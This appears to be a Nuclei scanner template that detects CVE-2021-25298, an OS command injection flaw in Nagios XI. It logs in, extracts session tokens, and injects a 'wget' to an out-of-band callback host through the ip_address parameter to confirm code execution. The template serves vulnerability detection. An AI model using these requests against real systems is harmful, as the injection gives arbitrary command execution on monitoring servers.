id: CVE-2021-25298

info:

name: Nagios XI 5.5.6 to 5.7.5 - Command Injection

author: k0pak4

severity: high

description: |

Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL paramaters.

reference:

- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md

- https://github.com/rapid7/metasploit-framework/pull/17494

- https://nvd.nist.gov/vuln/detail/CVE-2021-25298

- http://nagios.com

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

cvss-score: 8.8

cve-id: CVE-2021-25298

cwe-id: CWE-78

metadata:

shodan-query: title:"Nagios XI"

verified: "true"

tags: oast,authenticated,msf,cve,cve2021,nagiosxi,rce,kev

requests:

- raw:

- |

GET /nagiosxi/login.php HTTP/1.1

Host: {{Hostname}}

- |

POST /nagiosxi/login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}

- |

GET /nagiosxi/index.php HTTP/1.1

Host: {{Hostname}}

- |

@timeout: 20s

GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=4&wizard=digitalocean&no_ssl_verify=1&ip_address=127.0.0.1%3b%20wget%20{{interactsh-url}}%3b HTTP/1.1

Host: {{Hostname}}

cookie-reuse: true

matchers-condition: and

matchers:

- type: word

part: interactsh_protocol # Confirms the DNS Interaction

words:

- "dns"

- type: word

part: body_4

words:

- "Connection Information"

- "Host Check"

condition: and

- type: status

status:

- 200

extractors:

- type: regex

name: nsp

part: body

group: 1

regex:

- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"

internal: true

- type: regex

part: body

name: nsp_auth

group: 1

regex:

- "var nsp_str = ['\"](.*)['\"];"

internal: true